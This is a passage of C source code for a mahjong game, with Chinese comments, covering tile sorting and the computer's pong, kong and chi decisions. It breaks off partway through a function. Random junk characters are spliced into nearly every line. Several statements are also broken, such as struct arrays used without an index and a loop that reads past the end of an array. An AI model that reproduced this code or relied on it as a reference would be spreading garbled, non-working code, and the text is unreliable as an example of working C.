; O: \, ?2 U6 R" K6 m6 \( Y}
, S7 [0 m2 F4 A* n$ J. ~) u; u}) ^% K* n4 a! x* W& o5 t4 {
}3 e$ c# m7 K  _9 y6 m  S
void melipai()
7 T% I& ^8 N$ \0 a+ U' x6 ^& F{ int n,j,u;
. Z( `$ ]& _" E2 `8 v7 b, Tint *lingshi;
! C, ]- m2 _) {4 _( r  v5 o( y8 Afor(n=0;n&lt;me.m;n++)$ y3 i- a. a# g! I6 l! _  c8 E: D
for(j=n;j&lt;me.m;j++)( x9 B9 w4 }& E0 q. K. y
{
2 G9 h1 X! R% j4 R" gif(me.pp[n].number&gt;me.pp[j+1].number)
! H: t4 S8 E# X$ @7 h{; r; k: t1 O% y; D3 d7 X
lingshi=me.pp[n].k;
8 ]  J, y+ j$ v4 c7 ~me.pp[n].k=me.pp[j+1].k;
8 ~; d$ y2 E: m+ s  E2 h1 sme.pp[j+1].k=lingshi;3 H0 `8 ?5 [5 K1 m* ^- c
u=me.pp[n].oneorfour;( v, L$ J5 w% ^9 H
me.pp[n].oneorfour=me.pp[j+1].oneorfour;
1 ~  _- i0 A/ Z3 D! Hme.pp[j+1].oneorfour=u;1 J  ?, g! \; k
u=me.pp[n].number;9 V/ g# o* a% ?9 b- u
me.pp[n].number=me.pp[j+1].number;( J% P  a! E) Z2 [5 U; l: {
me.pp[j+1].number=u;
  N9 Y# o% j7 B}' p) S6 e  k& e9 j$ q: o, P
else
2 u! U( V' `, Lif(me.pp[n].number==me.pp[j+1].number)/ {, x4 K1 y" \" q+ ?- z. l
if(me.pp[n].oneorfour&gt;me.pp[j+1].oneorfour)
' @; q' k" i  o{9 a: T6 ~, P' ~, U  x
lingshi=me.pp[n].k;+ b  A, `* \1 Q
me.pp[n].k=me.pp[j+1].k;
% r; H) t6 i/ e, Y, C3 lme.pp[j+1].k=lingshi;3 f; m& c) y, ^; B
u=me.pp[n].oneorfour;
, @% H4 j& A! I; a* E. Rme.pp[n].oneorfour=me.pp[j+1].oneorfour;0 O6 h4 B, @' L2 H7 l) T
me.pp[j+1].oneorfour=u;7 s6 H5 j4 b1 ?. F4 S. u6 c9 m
u=me.pp[n].number;0 e0 l' ]0 p& S) w
me.pp[n].number=me.pp[j+1].number;& ?' m9 V, @! s/ _# K
me.pp[j+1].number=u;
6 Y9 o' g& U6 K* [}
6 x: q6 y7 y  U& O; H3 d}. ~+ u9 n( r4 d5 Q- u+ F) i
}, P- _+ V! }& W3 Q& Q; l
void rgzn(int c) /*本程序涵数的核心针对电脑的牌*/
5 v! F* |4 I, q{ int b=0,lg,lgg,logo,logoo,pg=0,gp=0,cs=0,f=0;+ l! M2 s/ m$ l* P8 ~) }/ Q
if(me.pp[c].number&lt;=35 &amp;&amp; me.pp[c].number&gt;=0). v$ o* P) O3 l3 I( O
{
' ~4 ]2 A4 G0 P0 o* e8 F' nlogo=1;3 G# P: e! W: f9 j% [/ {/ }8 Y" [
if(me.pp[c].number&lt;=3 &amp;&amp; me.pp[c].number&gt;=0)3 d$ R" |1 p& j$ G
logoo=1;
+ P0 ~$ I2 Y8 r2 welse if(me.pp[c].number&lt;=7 &amp;&amp; me.pp[c].number&gt;=4)
4 r* D" g% V; i4 Flogoo=2;6 \( Y) }% \6 n: P1 g1 r) G$ |9 ]
else if(me.pp[c].number&lt;=11 &amp;&amp; me.pp[c].number&gt;=8)& z! z. N$ V! O
logoo=3;/ }( p( R4 z5 [+ d# z, G
else if(me.pp[c].number&lt;=15 &amp;&amp; me.pp[c].number&gt;=12)
$ T2 q8 d& O. x, m% d! f* jlogoo=4;4 |( g6 C+ ?! ^% K6 V1 T& a
else if(me.pp[c].number&lt;=19 &amp;&amp; me.pp[c].number&gt;=16)
7 _' W2 i8 C% {- p/ E+ t/ b! [logoo=5;
+ M4 D* G& k  v$ oelse if(me.pp[c].number&lt;=23 &amp;&amp; me.pp[c].number&gt;=20)
. g4 H* [, u/ a& }" k1 I3 @8 w# hlogoo=6;
& U- T1 t" M3 V2 Selse if(me.pp[c].number&lt;=27 &amp;&amp; me.pp[c].number&gt;=24)" O; k+ M! A; N: |
logoo=7;2 b3 `& C' c1 e3 H1 |* q
else if(me.pp[c].number&lt;=31 &amp;&amp; me.pp[c].number&gt;=28)* Z4 h; W- t& K$ C* k2 J
logoo=8;
- |5 x+ w+ }& P, Belse if(me.pp[c].number&lt;=35 &amp;&amp; me.pp[c].number&gt;=32)
+ j0 M: w' I; m+ Z. V# flogoo=9;# O; ?/ F6 |" t9 V% ]
}7 G: O2 J$ y& ]  o. P
else if(me.pp[c].number&lt;=71 &amp;&amp; me.pp[c].number&gt;=36)
* S5 j/ v, V8 b; C- S) P( [{, X9 F8 M! e9 K
logo=2;
, Y0 V, P% C1 F) Iif(me.pp[c].number&lt;=39 &amp;&amp; me.pp[c].number&gt;=36)
4 \2 ?/ j( M, mlogoo=1;2 m5 b- Z" R3 E
else if(me.pp[c].number&lt;=43 &amp;&amp; me.pp[c].number&gt;=40)( i3 F8 K8 m- H8 n& C
logoo=2;0 b: p; i) k( u7 g
else if(me.pp[c].number&lt;=47 &amp;&amp; me.pp[c].number&gt;=44)
4 R! p& m2 J. M/ g1 glogoo=3;0 P* ~1 J7 s4 Z% ?/ Z
else if(me.pp[c].number&lt;=51 &amp;&amp; me.pp[c].number&gt;=48)3 b2 [! R0 X5 E5 p. {- h9 u
logoo=4;
# u9 L! e% n  o: Y$ w' v4 ~; J0 j, aelse if(me.pp[c].number&lt;=55 &amp;&amp; me.pp[c].number&gt;=52)
2 W- D* s& }; j+ I3 Elogoo=5;
0 k' s- ]4 D  C  H0 \% _else if(me.pp[c].number&lt;=59 &amp;&amp; me.pp[c].number&gt;=56)5 ]6 Z# h  F2 Q- N; @! p
logoo=6;3 i( n* V, z  P5 ?6 m: S% n9 P
else if(me.pp[c].number&lt;=63 &amp;&amp; me.pp[c].number&gt;=60)
2 U9 W, y8 U) Y8 [) Flogoo=7;
+ b7 {+ P. }* Helse if(me.pp[c].number&lt;=67 &amp;&amp; me.pp[c].number&gt;=64)
( F1 H3 O6 }9 [+ slogoo=8;
) t% w6 q, N* u# P. {8 v0 Pelse if(me.pp[c].number&lt;=71 &amp;&amp; me.pp[c].number&gt;=68)
: w  Q5 j# f7 blogoo=9;) {0 I0 J0 j/ Q/ g7 D0 H' z
}
7 z* G, m6 j$ A& {else if(me.pp[c].number&lt;=107 &amp;&amp; me.pp[c].number&gt;=72)
( n) M' O: h+ r: y$ K/ ~/ u# C( m8 i) K{* v" G5 T0 T. U- H
logo=3;7 N: X' i6 _' g$ E/ W' f& V
if(me.pp[c].number&lt;=75 &amp;&amp; me.pp[c].number&gt;=72)) S0 _# s: i$ g
logoo=1;
6 Q0 [  h5 w2 l, K$ c4 h. p  Gelse if(me.pp[c].number&lt;=79 &amp;&amp; me.pp[c].number&gt;=76)4 a4 c' u$ f; n; r3 u1 k
logoo=2;
" v  b% D3 T% K- k" Qelse if(me.pp[c].number&lt;=83 &amp;&amp; me.pp[c].number&gt;=80)
2 q* N3 h5 S6 k4 \2 q9 F" _* Llogoo=3;
4 \# m& ~* i1 E8 E0 velse if(me.pp[c].number&lt;=87 &amp;&amp; me.pp[c].number&gt;=84)
3 d, Z  ]* Z" B) Llogoo=4;
+ W! u% A/ |9 u. melse if(me.pp[c].number&lt;=91 &amp;&amp; me.pp[c].number&gt;=88)0 a/ a; C  N5 [# S4 \( X
logoo=5;0 l( `8 V2 V8 M: J8 c( s
else if(me.pp[c].number&lt;=95 &amp;&amp; me.pp[c].number&gt;=92)/ L1 }; U1 V' a5 l- B
logoo=6;
5 H9 f/ m) K) ]' w% r, E, belse if(me.pp[c].number&lt;=99 &amp;&amp; me.pp[c].number&gt;=96)1 K! g" V/ M# N, j  M
logoo=7;4 n( }, j! G$ O
else if(me.pp[c].number&lt;=103 &amp;&amp; me.pp[c].number&gt;=100)) \" @9 K2 j* d. d; g0 u
logoo=8;
& n& E/ f8 z1 E; z. u% ]: S: {else if(me.pp[c].number&lt;=107 &amp;&amp; me.pp[c].number&gt;=104)4 w) g. L; x/ z9 I: ]+ }. `) V
logoo=9;
. P, q% y$ T9 M8 V" q" J}% s+ x, i; q* `) h% @. F
else if(me.pp[c].number&lt;=135 &amp;&amp; me.pp[c].number&gt;=108)
( s# t  Q3 e3 r) K+ ^! P{
) L. p( K4 c/ Rlogo=4;$ d: N$ Q3 B9 |; n2 r2 T- m
if(me.pp[c].number&lt;=111 &amp;&amp; me.pp[c].number&gt;=108)
* q$ E7 t* d$ M/ ulogoo=1;! o' e& F% H8 ~& L5 ^7 a
else if(me.pp[c].number&lt;=115 &amp;&amp; me.pp[c].number&gt;=112), c* G( s/ Q- F! _" @
logoo=2;
! e* h* i* V# P* v. H: b2 e( delse if(me.pp[c].number&lt;=119 &amp;&amp; me.pp[c].number&gt;=116)- m5 \$ g3 L4 A7 G8 s. v' o
logoo=3;
* T$ G- _/ x( v  _4 s) }else if(me.pp[c].number&lt;=123 &amp;&amp; me.pp[c].number&gt;=120)
3 X9 s6 I5 g3 {logoo=4;: B# {3 J2 Z6 l* s+ V+ g
else if(me.pp[c].number&lt;=127 &amp;&amp; me.pp[c].number&gt;=124)" W" A. f2 z6 f9 l$ I; N
logoo=5;
8 P* x& Y5 D/ yelse if(me.pp[c].number&lt;=131 &amp;&amp; me.pp[c].number&gt;=128)
  E* O/ _" H. v, ?5 e8 T; }logoo=6;; ]3 a$ k! h5 M( |, t! Y5 i
else if(me.pp[c].number&lt;=135 &amp;&amp; me.pp[c].number&gt;=132)
% }/ P, |$ w3 `! p9 J& @logoo=7;- t: p9 N" K, H: ?( ]3 ]
}
" u4 p7 \& _) u8 H1 O( n; {while(b&lt;=computer.m)+ n1 Y* s2 Q& a& L
{& F1 g5 [9 Y7 K6 J3 q6 B
if(computer.pp.number&lt;=35 &amp;&amp; computer.pp.number&gt;=0) /*假定电脑经过分析后出了第一张牌*/0 T' Z+ b; n" e8 f& |0 L: F( M
{3 X( n  X" u# b
lg=1;2 |1 b6 r5 B* q2 b4 W
computer.pp.d[0]=1;
* _" ^: z$ Z4 T" _if(computer.pp.number&lt;=3 &amp;&amp; computer.pp.number&gt;=0)
$ I' c* r! A. u. x{
( K4 _% A3 _. E* b8 D: f/ a  Zlgg=1;3 X3 q0 N( C8 \  Z! U
computer.pp.d[1]=1;
6 k7 A; M4 C$ B7 x9 ?% a}* S0 Q. v. H8 ~/ N- X
else if(computer.pp.number&lt;=7 &amp;&amp; computer.pp.number&gt;=4)5 p0 T- b: O7 p1 r0 T
{
- R# u+ R) h$ D* Olgg=2;
& P- ?) S& N% v  w. L) x* n& v( u/ T( Fcomputer.pp.d[1]=2;
$ b  k6 G" i2 Q6 u- ]4 y2 J}1 e2 s& o7 Q6 }1 S
else if(computer.pp.number&lt;=11 &amp;&amp; computer.pp.number&gt;=8)
( D& I, P1 A; s- ~( ^( d" M" g/ F{6 H; S8 s$ _" V# E1 K2 l) q; E" a
lgg=3;, {- U) [" `4 R! h1 `
computer.pp.d[1]=3;6 c2 T$ B/ f! Q4 C% E+ f( H# o6 [
}
% X8 w5 X% `+ D* n+ B. d  }) kelse if(computer.pp.number&lt;=15 &amp;&amp; computer.pp.number&gt;=12)
/ y/ R3 q% w5 R$ ~2 H6 t6 s# M3 O{# f1 L( l  Y) X8 p  h6 T
lgg=4;
3 S  Y; B7 h5 s$ q% Ocomputer.pp.d[1]=4;
+ w/ C: f& f! F) h3 U8 x9 a* ]8 ?}
" Y" H5 f0 v0 [else if(computer.pp.number&lt;=19 &amp;&amp; computer.pp.number&gt;=16)
/ h# J8 ?# h5 B. t0 M/ g& l{
+ G' C! G! q2 n  ^& u2 C1 ~; elgg=5;
- f1 X4 K' S( I% W. ~computer.pp.d[1]=5;
/ e( h3 _  A+ b/ M6 e; q9 s" w}! L! f+ L9 R3 a+ `6 g/ I8 }" k3 ^
else if(computer.pp.number&lt;=23 &amp;&amp; computer.pp.number&gt;=20)4 W" T/ D; V' x6 N/ x2 I3 s
{
3 O# _  z" f% u3 _' r8 \) x5 glgg=6;
2 g) l" W3 j5 x, Ecomputer.pp.d[1]=6;
  e* P" M) X% _}
* b! E5 e. A  uelse if(computer.pp.number&lt;=27 &amp;&amp; computer.pp.number&gt;=24)
) h3 o; j; O# J5 n* I+ t+ V{8 {) J. M# v6 S( L; F6 J( z. h
lgg=7;
" b. Z% U9 s9 |" Q# N" Zcomputer.pp.d[1]=7;/ h4 v; c4 ~$ o5 U1 g
}2 e* q% F/ }  w2 I( q$ N1 w
else if(computer.pp.number&lt;=31 &amp;&amp; computer.pp.number&gt;=28)
6 `: ~0 w9 A0 _" R' u/ d* ?! X$ H{
2 T& ~+ |7 E8 h+ L- D5 _lgg=8;7 N" X8 ~7 v  t: D9 |6 w' w
computer.pp.d[1]=8;
/ v& s) G% O& G/ H- R* {}
# G8 @$ G* T8 n6 G& p- i% ]: Pelse if(computer.pp.number&lt;=35 &amp;&amp; computer.pp.number&gt;=32): k1 ^9 z. J- q6 L6 i; s
{! Y9 i/ ]4 x$ K  V3 g
lgg=9;5 `/ K$ l* m+ o- O' c. j2 f7 e- b
computer.pp.d[1]=9;+ S: L4 ?  T* P
}4 G( V. C/ u+ m/ D) n* `% e8 _
}, f2 l4 i6 _4 t
else if(computer.pp.number&lt;=71 &amp;&amp; computer.pp.number&gt;=36)( y+ R  i& b! H/ T2 M, ]
{
6 p/ z% R/ v% F% dlg=2;
; k$ y+ U6 f+ e- M( x' `computer.pp.d[0]=2;
, {  ]  m4 l7 @& P- e) M5 vif(computer.pp.number&lt;=39 &amp;&amp; computer.pp.number&gt;=36)
! u# J2 |7 t- A* `3 I{+ K6 i& _. Z; K; y4 V7 f# l+ D
lgg=1;
  H4 @. e& o% |/ ^) l, Pcomputer.pp.d[1]=1;. G' E* h* u  d) S$ ?& l1 S
}
. S8 J5 y9 H7 t/ R! h% selse if(computer.pp.number&lt;=43 &amp;&amp; computer.pp.number&gt;=40)" y1 m( n0 T/ E/ g0 F
{
) p- Q0 [2 o" b' ?lgg=2;1 ]+ v" ?8 N7 j2 [( V
computer.pp.d[1]=2;
: ~% A8 ]  P- n* t}
/ g, }  v. B$ s2 delse if(computer.pp.number&lt;=47 &amp;&amp; computer.pp.number&gt;=44)
7 M' w/ j! W" y& t  _{; P2 i$ R# T( s, c5 E% S
lgg=3;
' H6 t) t( z. Ncomputer.pp.d[1]=3;
( N; t$ ?# w8 d0 Q$ ~}! R. k- z. _5 {5 u
else if(computer.pp.number&lt;=51 &amp;&amp; computer.pp.number&gt;=48)
" X# w$ p5 `/ ~  T: ]' t{
# s- `$ F4 }# ^0 l: t. @0 u& r/ O- Nlgg=4;
5 v  T  O3 ?; ^0 h7 mcomputer.pp.d[1]=4;
/ |$ X/ @7 q7 }! D}4 y7 j# S7 D4 o) a$ F
else if(computer.pp.number&lt;=55 &amp;&amp; computer.pp.number&gt;=52)
% K" \3 _: c" J6 {- I. w$ H+ W2 c4 K{
7 ?( ^2 I0 C9 V1 H0 xlgg=5;
+ N" u% p# T& t' I( s( C# I+ rcomputer.pp.d[1]=5;( D3 T$ t. }3 X/ c/ j
}
! v+ ~6 B& m8 ^7 p4 a) i! pelse if(computer.pp.number&lt;=59 &amp;&amp; computer.pp.number&gt;=56)
. K7 p0 ]+ ^3 I0 F{
5 G- l& ~3 j9 N+ S0 ~& F! U! ~lgg=6;
* B* E% \8 f8 A% l$ Tcomputer.pp.d[1]=6;% c- H; |2 g# Z4 c; D
}! v* Q5 @) b( t- ~
else if(computer.pp.number&lt;=63 &amp;&amp; computer.pp.number&gt;=60): o0 @2 m* Z' |9 k& `+ @( C* \
{: W% e! `5 z* P& `, }) d
lgg=7;( D. Y' u5 E! z! r
computer.pp.d[1]=7;; N& i: B: G( {/ J  O& C  @" i
}
/ W2 ^2 b' K- _else if(computer.pp.number&lt;=67 &amp;&amp; computer.pp.number&gt;=64)
( S: r+ K: Q9 x# J/ x& Z" a{$ A& R" [) K% \1 |" b$ \
lgg=8;
! O" z/ {% ]; \/ S- x6 Y7 Icomputer.pp.d[1]=8;
' n# j% w; Z8 j6 l( q; V2 }& a}
8 a$ L8 T+ [: X+ C6 N5 Uelse if(computer.pp.number&lt;=71 &amp;&amp; computer.pp.number&gt;=68)
2 r' w! L- q( q2 x9 q{" j8 ~- {" A0 a
lgg=9;
7 T) v8 e$ X' i- |& pcomputer.pp.d[1]=9;3 S6 L% z8 {( r1 T
}
" o  p7 D5 m7 a/ s/ k, w$ ~}; A4 e( B( o8 @/ P6 O
else if(computer.pp.number&lt;=107 &amp;&amp; computer.pp.number&gt;=72), K! l9 Q- v6 [! K
{
6 L& G! h0 c& ?* a$ X2 Olg=3;
) x; }3 \, l; M, {2 \* fcomputer.pp.d[0]=3;
3 n- S  j- [: \& q! c% o8 K+ B' eif(computer.pp.number&lt;=75 &amp;&amp; computer.pp.number&gt;=72)- J! l/ s: s: v2 v5 A& Q
{
" }* G1 f7 k0 n5 u+ a. _0 Algg=1;
+ ^, O$ q& D/ X0 x1 g! Wcomputer.pp.d[1]=1;
" t4 u; @7 p6 w# y$ K% `}, V0 Z. C4 J7 C" Z7 z
else if(computer.pp.number&lt;=79 &amp;&amp; computer.pp.number&gt;=76)
# s) L" l* T+ J7 a{
: j, [6 U  l: q9 [, `lgg=2;$ a1 x% }+ ]  C  l
computer.pp.d[1]=2;
. W9 t, C. r. }/ `" P6 ^( v$ N}8 @" P/ b% p1 U% J1 Q# M9 U
else if(computer.pp.number&lt;=83 &amp;&amp; computer.pp.number&gt;=80)- W3 R( v. F; x) i3 |) a
{
+ ^/ B9 _' p: Llgg=3;
+ A, `# s6 q' ?computer.pp.d[1]=3;7 ~: s7 N- b9 L1 I6 w
}. w% C* s- `0 U
else if(computer.pp.number&lt;=87 &amp;&amp; computer.pp.number&gt;=84)8 @0 w, |( V! Y" l& u% o# F- O% _
{7 ~3 x& d9 F* M$ g  |! Z$ M$ G
lgg=4;
* z. y* }6 \% Xcomputer.pp.d[1]=4;
/ P* X. a$ `$ B7 \' Z0 j}$ p2 n0 \, W9 |! l$ m$ T
else if(computer.pp.number&lt;=91 &amp;&amp; computer.pp.number&gt;=88)9 F+ U: j" g. O8 y
{
* D: Y5 T( p& D' glgg=5;
/ q- X7 d' w, D' @; Tcomputer.pp.d[1]=5;
% {/ F, W* d+ N0 A: L}
  I7 \" W  Z' o. [5 P; g* Welse if(computer.pp.number&lt;=95 &amp;&amp; computer.pp.number&gt;=92)
( u: M2 T- {$ P% y2 R{4 y% a* W6 L: c/ _0 p8 N' E' P9 Z
lgg=6;# i% @$ [; O6 t9 q& f
computer.pp.d[1]=6;
& U" j! ]: _0 A% \}" M, B( [- y8 m  A# p
else if(computer.pp.number&lt;=99 &amp;&amp; computer.pp.number&gt;=96)- k7 J* H. B( e* t
{! z5 g0 R0 w/ c  P
lgg=7;
. S3 Y3 f; x( W: t$ m; Lcomputer.pp.d[1]=7;
+ Q2 U( o" @* {, X" K( _3 t}
0 C6 |' b" k& [# b, z( |else if(computer.pp.number&lt;=103 &amp;&amp; computer.pp.number&gt;=100)
, N! m( U0 L1 r( I; u{
3 K4 i3 a: W- c- ?$ \: Slgg=8;+ \# ]5 V& r$ t" d$ K9 [
computer.pp.d[1]=8;
4 H+ Z5 g# d* k2 I}
; \& `1 q) s- J7 Z) belse if(computer.pp.number&lt;=107 &amp;&amp; computer.pp.number&gt;=104)
* R% b: Y! |$ w" P1 K4 m$ ~{& t% K8 n% M5 @9 }3 C# q
lgg=9;3 v! f; V( e& J  S$ b: k) V
computer.pp.d[1]=9;1 z, I( U) U7 c9 V6 E
}
6 z6 _& [+ h" O. f5 p" C}
& A# X& }* P- helse if(computer.pp.number&lt;=135 &amp;&amp; computer.pp.number&gt;=108)
% R, h6 c5 O) C/ N7 g{" k! X" {# V* c
lg=4;
# p; L+ n6 M+ ^7 ?8 Zcomputer.pp.d[0]=4;
: _, d5 x6 ?) ]8 u5 x$ r( W& Xif(computer.pp.number&lt;=111 &amp;&amp; computer.pp.number&gt;=108)* ^; n; j" C" r# S% _2 l$ `
{
. l1 [; H) f  M( k- \lgg=1;3 W, X( J* i2 F! B  z
computer.pp.d[1]=1;7 j5 ?! F4 \5 c1 {) S& N
}$ g5 y! K6 D" a/ E2 ?, L, ]9 p
else if(computer.pp.number&lt;=115 &amp;&amp; computer.pp.number&gt;=112)3 K) I7 n" n" E
{
" A& j) i% l4 J+ H1 a" r3 `# V2 rlgg=2;
# `3 q$ T! m) s: qcomputer.pp.d[1]=2;7 H- O7 o. x+ }1 g+ ]; M& D
}( ?! `4 z" Y4 Z0 H) N0 v
else if(computer.pp.number&lt;=119 &amp;&amp; computer.pp.number&gt;=116)
3 r6 u' c# o3 Q! a+ y# @{$ p9 [& h7 S2 J* H5 Y8 K( H0 P
lgg=3;
9 t) Z2 D6 W6 J- mcomputer.pp.d[1]=3;9 \* b- P6 a& o3 y+ j* t
}
7 e( ^; b$ M5 M% L# }1 [else if(computer.pp.number&lt;=123 &amp;&amp; computer.pp.number&gt;=120)% F& T* k! p9 y* G8 j, O
{
+ C6 ]0 [: G( M0 G5 R8 S3 Slgg=4;
+ y! D' ~% X( B5 f9 E, `computer.pp.d[1]=4;
: d2 }9 T4 [$ L# w4 z; \' {( J0 S) f}
" g8 t* z' P2 o  \% ?" E. }/ kelse if(computer.pp.number&lt;=127 &amp;&amp; computer.pp.number&gt;=124)1 M$ v3 `9 \% B' q
{; @0 o  |" {) i) s3 F
lgg=5;& H$ i9 N- |* }. \2 x; G8 n
computer.pp.d[1]=5;+ K" K  {# E0 }4 K- A; G( y6 ?
}
- c/ o) a# v! s* s: n: I6 belse if(computer.pp.number&lt;=131 &amp;&amp; computer.pp.number&gt;=128)0 V9 A" O( Y. y% a  F3 g* {
{5 o. d6 a9 D! S+ E( n7 z
lgg=6;
; k4 f- S# y1 q$ U  c3 ^+ Pcomputer.pp.d[1]=6;
/ y% s) X) r7 z3 x' L}5 J( p% [, R9 O5 y
else if(computer.pp.number&lt;=135 &amp;&amp; computer.pp.number&gt;=132)! ?9 W4 q; i% `+ e6 o
{
+ N$ g# p1 o' S# W* f% ?8 }lgg=7;' E9 ~' [1 J$ X: R/ j3 q# v) `2 [
computer.pp.d[1]=7;0 P- j& F2 R( w2 z$ T( A
}' B! j2 f& A2 q
}
5 L9 [6 y% t/ F& O, X8 v6 \5 s' \) k: F8 _" \2 L
if(logo==lg) /*如果相等的话,那再进一步的判断,乓杠的判断*/  |- f2 S; }2 V9 H! t
if(logoo==lgg)$ Z3 b6 R! W6 W
pg++;
' m. B' {$ q; `ch.lg=lg; /*保存电脑手里的每张牌的信息*/3 _/ s1 v3 w+ w2 T1 U9 Q
ch.lgg=lgg;
1 R( v5 N: P+ X: E7 T$ R" Hlg=0;$ X+ Q4 h7 k: M. w/ K* j
lgg=0;
* X% p7 X  @: X% K: Z2 |. Hb++;+ e0 D: X. O1 J2 p
}( b9 e7 d6 h  s, a/ f. ^( Y
if(pg==2) /*乓*/
9 a/ P8 O9 H9 B5 W- f5 v- q6 Y{. i+ X6 C" R8 c; |
$ m$ ]; ~2 P( Y# n6 b: o
sing=1;4 m  U/ d7 j3 a+ }. }! ^
b=computer.m;
( r9 W& H6 u( g7 F, F0 ]8 Wwhile(b!=-1)
8 H  v9 n, V! K# @{" e7 s1 j7 f9 K- L6 Q3 B- `) P
if(strcmp(me.pp[c].k,computer.pp.k)==0)& h! I% R( @3 L% Y5 N
computer.pp.p=1;
/ i6 x* @! k' \! X. l
7 G! s8 b* `8 f; z6 w1 lb--;) m+ g0 a. m# w7 G
}
: H8 q# z4 o1 `3 N) i% L}
2 P* h( u! k' W5 i0 D3 }; mif(pg==3) /*杠*/
4 D" f6 p+ U5 o/ Z5 {8 b4 d6 t{. l' W8 Q. y, x. i% W
; j" C% a3 P7 Q- s
sing=2;- y2 B9 T# A' N5 A1 n# f/ r
b=computer.m;
  u% m4 b8 p7 \) M) H8 {2 y8 Owhile(b!=-1)
, J! _) h* U9 {* h4 \0 r0 B{0 a6 J8 r! B  A! R0 Y
if(strcmp(me.pp[c].k,computer.pp.k)==0)1 s. F  }: M9 O8 g
computer.pp.g=1;
, ?2 O2 B; j7 f3 y/ R: M! B% j% c' A- ]b--;
6 x# I5 g. `7 F% x; }}
! z& h- i; m5 s}5 q5 x2 E# D' m( S* Q
f=0;+ i) h) ?1 e  X7 r8 q) S( F
while(f&lt;computer.m) /*吃的判断*/
6 s- P& J6 L; c7 g9 G5 [* d{ if(ch[f].lg==logo &amp;&amp; ch[f].lg!=4)( J5 N2 ]% K' c, [) U  \
{: ?' N0 Y( a2 x! p0 B* H
if(ch[f+1].lgg-ch[f].lgg==1) /*顺吃*/2 @. `8 c+ O& g# ^" w) {6 r1 g
if(ch[f].lgg-logoo==1)! e. O3 u- M0 T, L7 E
{3 p$ \% }1 x+ E: ~. x
gp++;$ Z8 I9 f, ]9 D; _
computer.pp[f].c=1;
7 Y2 A5 k) Y; U5 ?3 [computer.pp[f+1].c=1;
9 W8 _5 r$ w  t7 M* J& B" f}
8 D  v, h* q% fif(ch[f].lgg-ch[f+1].lgg==-1) /*逆吃*/: G+ j0 o, c& u% |% V1 M: a9 k
if(ch[f+1].lgg-logoo==-1), q! b+ a, G2 p3 l6 n+ F# R
{8 t, H9 L' s( U1 E% j" l, \
gp++;
8 [, k' z' v3 T: _" `computer.pp[f].c=1;
1 E# P  I+ Q5 Q( Z) y3 Qcomputer.pp[f+1].c=1;
2 a  ~. C5 r/ j- \% N1 @}
- Y5 P# H9 `2 D& i1 A+ xif(ch[f].lgg-logoo==-1) /*中吃*/4 o- X2 J! m- y; ]+ H; g1 y. T+ o
if(ch[f+1].lgg-logoo==1)1 o9 o$ Y! |# _, x  ^; e& H/ L
{: k" W- b  n. s. E9 L4 D8 e9 k
gp++;
2 B% t) n9 f7 f' |- S- H- ^$ }0 V' lcomputer.pp[f].c=1;
2 q) V9 R7 P4 q! m. y, K4 pcomputer.pp[f+1].c=1;
; N. _( g# C5 y" H: W0 Q9 i}7 ]5 M  n& S4 V
if(gp==1)
+ K8 H" X8 L& h4 s8 B. J1 p+ Sbreak;
% N+ X7 ~  V0 s& Q* x/ q% v- s1 f}5 \) D( k% F! B2 t; b7 S
f++;
2 I; L; t8 `# L" T* L* Q& P}
! S3 I) t% d! T7 e9 X! bif(gp==1)+ l$ n% }; g# |$ j
{sing=7;9 D2 b  O9 W! \) u" E* k( X, d
# X& x/ e- V% k! ~- N! K
}
0 f7 v1 `; c2 @6 zpg=0;
0 D5 U2 [0 P/ F' `gp=0;6 Q+ P1 q: P! Q* S( {# U; L8 {( Q/ P  s
b=0;
: h1 {, m$ z* E5 {}
, I' M' f+ R" _' }void rgznme(int c) /*本程序涵数的核心针对我的牌*/
" Z8 n$ U% m0 A' L( ?+ Y& p{ int b=0,lg,lgg,logo,logoo,pg=0,gp=0,cs=0,f=0;
# f+ f# |" d$ t0 F: f& F  m% yif(computer.pp[c].number&lt;=35 &amp;&amp; computer.pp[c].number&gt;=0), V# C" C* J3 ]# m# u: g! F' d' B9 k! k' ?
{
, y' x& m  H# Z  A6 X( Slogo=1;
1 N" s6 ?: L7 u9 ], f5 mif(computer.pp[c].number&lt;=3 &amp;&amp; computer.pp[c].number&gt;=0)1 L. B5 n) G: p8 \, K  v) ]6 u% t  A8 j
logoo=1;
  d2 m, |6 G, L3 G- T0 `% ^( _. Celse if(computer.pp[c].number&lt;=7 &amp;&amp; computer.pp[c].number&gt;=4)7 i  J/ e7 t( U# C- ?2 V9 V
logoo=2;7 C8 F: ~8 z) D- ^7 _, q' @5 o
else if(computer.pp[c].number&lt;=11 &amp;&amp; computer.pp[c].number&gt;=8)
* n- e- }; M3 c6 V! N# M: Hlogoo=3;9 y. P$ z7 k- Q8 e
else if(computer.pp[c].number&lt;=15 &amp;&amp; computer.pp[c].number&gt;=12)) M+ |3 c2 B: Q
logoo=4;- \3 ~& z, d# l' E% s+ A
else if(computer.pp[c].number&lt;=19 &amp;&amp; computer.pp[c].number&gt;=16)
2 e3 U& w  Q  J7 {: I; N$ X# |6 Hlogoo=5;
5 D. W$ q0 ]4 q/ M4 f7 R, velse if(computer.pp[c].number&lt;=23 &amp;&amp; computer.pp[c].number&gt;=20)7 r1 D& U4 I5 T& j. D
logoo=6;
6 S  D4 f" s6 Y4 m3 velse if(computer.pp[c].number&lt;=27 &amp;&amp; computer.pp[c].number&gt;=24)
# W" C, ~% V6 ~. D  Ilogoo=7;" w' W" D, [- g1 @9 ]# U  J) \& s$ p
else if(computer.pp[c].number&lt;=31 &amp;&amp; computer.pp[c].number&gt;=28)
3 J8 z3 }% t* V& |1 |logoo=8;9 V; x7 @: _" V
else if(computer.pp[c].number&lt;=35 &amp;&amp; computer.pp[c].number&gt;=32)
2 U' |6 |. T6 o' \logoo=9;
  k6 q, T& d+ _}
' M3 W' U0 _( E* a! R( l' e2 {8 Oelse if(computer.pp[c].number&lt;=71 &amp;&amp; computer.pp[c].number&gt;=36)6 ]7 S* Y5 }/ B# z
{5 N8 a$ |$ N8 `7 |# K5 f3 g) ^( Y
logo=2;
" u" C5 |# B6 W, @5 s, n7 Hif(computer.pp[c].number&lt;=39 &amp;&amp; computer.pp[c].number&gt;=36)
* L: E$ U2 H6 p2 K7 N/ A# rlogoo=1;& m+ B" p( U5 O5 M7 n7 b
else if(computer.pp[c].number&lt;=43 &amp;&amp; computer.pp[c].number&gt;=40)0 y* Z5 c* K$ E
logoo=2;" |2 l, p4 W" M. D
else if(computer.pp[c].number&lt;=47 &amp;&amp; computer.pp[c].number&gt;=44)5 m% y' ^5 ^: ?& L$ S
logoo=3;. L& W/ ~& {/ h4 j$ \% {
